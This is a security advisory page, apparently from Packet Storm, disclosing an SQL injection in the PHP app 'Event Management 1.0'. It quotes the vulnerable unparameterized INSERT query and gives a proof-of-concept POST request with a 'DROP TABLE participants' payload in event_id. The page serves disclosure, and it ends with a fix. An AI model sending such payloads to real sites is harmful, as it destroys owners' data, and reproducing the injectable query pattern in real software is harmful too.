what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Event Management 1.0 SQL Injection

Event Management 1.0 SQL Injection
Posted Mar 28, 2024
Authored by SoSPiro

Event Management version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 5135d01cd318616d2a8b1711363d2378d7b2686ffcd1083f2936d0248e4164fd

Event Management 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Event Management - SQL Injection
# Application: Event Management
# Date: 19.02.2024
# Bugs: SQL Injection
# Exploit Author: SoSPiro
# Vendor Homepage: https://github.com/PuneethReddyHC
# Software Link: https://github.com/PuneethReddyHC/event-management
# Version:1.0
# Attack Type: Remote
# Tested on: Windows 10 64 bit Wampserver


# About project:

helps to register an users for on events conducted in college fests with simple logic with secured way



## Vulnerability Details:

- **Application Name**: Event Management
- **Software Link**: [Download Link](https://github.com/PuneethReddyHC/event-management)
- **Vendor Homepage**: [Vendor Homepage](https://github.com/PuneethReddyHC)



# Vulnerable code section:

# https://github.com/PuneethReddyHC/event-management/blob/master/backend/register.php#L64

<?php


// ... (other code)

if(empty($full_name) || empty($email) || empty($mobile)) {
// Error messages and actions for incomplete data
} else {
if(!preg_match($name,$full_name)){
// Error messages and actions for invalid full name
}

// Additional regex checks for email and mobile format

// Verifying mobile number length
if(!(strlen($mobile) == 10)){
// Error message and action for invalid mobile number length
}

// Database insertion operation
$sql = "INSERT INTO `participants`
(`p_id`,`event_id`, `fullname`, `email`,
`mobile`, `college`, `branch`)
VALUES (NULL,'$event_id', '$full_name', '$email',
'$mobile', '$college', '$branch')";

if(mysqli_query($con,$sql)){
// Successful registration message
echo "register_success";
echo "<script> location.href='index.php'; </script>";
exit;
}
}

// ... (other code)
?>



# Vulnerability Description:

The code in register.php is vulnerable to SQL injection, allowing an attacker to manipulate the SQL query and potentially perform unauthorized actions on the database. Additionally, the code lacks proper input validation and sanitization, making it susceptible to various forms of attacks such as cross-site scripting (XSS) and potential security risks.



# Proof of Concept (PoC):

SQL Injection:

The vulnerability can be exploited by an attacker by manipulating the input parameters. For example, the event_id parameter is directly used in the SQL query without proper validation or parameterization:

An attacker can manipulate the event_id parameter in the HTTP request to inject malicious SQL code.

PoC:


POST /event-management-master/backend/register.php HTTP/1.1
Host: localhost

event_id=1'; DROP TABLE participants; --

This could result in a SQL query like:

INSERT INTO `participants` (`p_id`,`event_id`, `fullname`, `email`, `mobile`, `college`, `branch`)
VALUES (NULL,'1'; DROP TABLE participants; --', 'test', 'test@gmail.com', '0555555555', 'asd', 'qwe')

To mitigate this, use prepared statements or parameterized queries to ensure proper sanitization of user inputs.



Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    5 Files
  • 26
    Jun 26th
    13 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close